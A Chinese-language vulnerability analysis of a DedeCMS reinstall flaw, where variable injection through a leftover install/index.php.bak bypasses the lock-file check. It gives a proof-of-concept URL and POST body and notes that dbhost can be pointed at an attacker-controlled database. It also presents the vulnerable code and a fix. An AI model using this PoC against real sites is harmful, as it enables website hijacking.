catalog
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
概括梳理一下這個漏洞的成因
1. dedecms預設情況下安裝完成之後,install安裝目錄並未刪除,即安裝指令碼依然存在,只是被重新命名為了index.php.bak檔案 //Dedecms在安裝後會把安裝檔案/install/index.php備份成/install/index.php.bak 2. apache存在一個解析漏洞,即會遞迴的逐個解析檔案的字尾,直到配對到一個可以正確處理的字尾處理函式(ext handler) //例如index.php.bak會被當成index.php來解析 3. dedecms廣泛採用了"本地變數註冊"的模擬實現,即 /* foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } */ 這導致黑客可以通過傳入指定關鍵變數以此改變程式碼的正常流程邏輯,以此繞過dedecms的"已安裝狀態檢查"邏輯,實現重安裝
Relevant Link:
http://zhanzhang.anquan.org/vul-detail/51b19a3ff159c80f0ab0b8a1/
2. 漏洞觸發條件
1. install資料夾存在 2. apache解析漏洞
0x1: POC
http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4 POST: step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk& //其中dbhost可以改為遠端的黑客控制的db,以此達到劫持的目的
3. 漏洞影響範圍
4. 漏洞程式碼分析
/install/index.php.bak
.. foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } require_once(DEDEINC.'/common.func.php'); //黑客通過本地變數注入,修改$insLockfile的值,以此繞過dede的檢測邏輯 if(file_exists($insLockfile)) { exit(" 程式已執行安裝,如果你確定要重新安裝,請先從FTP中刪除 install/install_lock.txt!"); } ..
Relevant Link:
http://www.cnseay.com/2956/
5. 防禦方法
1. 刪除install資料夾 or 2. 刪除/install/index.php.bak 3. 允許使用者使用重新安裝的功能,但對index.php.bak進行修復
/install/index.php.bak
if( file_exists(dirname(__FILE__).'/install_lock.txt') ) { exit(" 程式已執行安裝,如果你確定要重新安裝,請先從FTP中刪除 install/install_lock.txt!"); }
6. 攻防思考
在程式碼中的關鍵if判斷處儘量避免使用變數,可以很大程度上防止本地變數覆蓋導致的程式碼流黑黑客注入修改
Copyright (c) 2015 LittleHann All rights reserved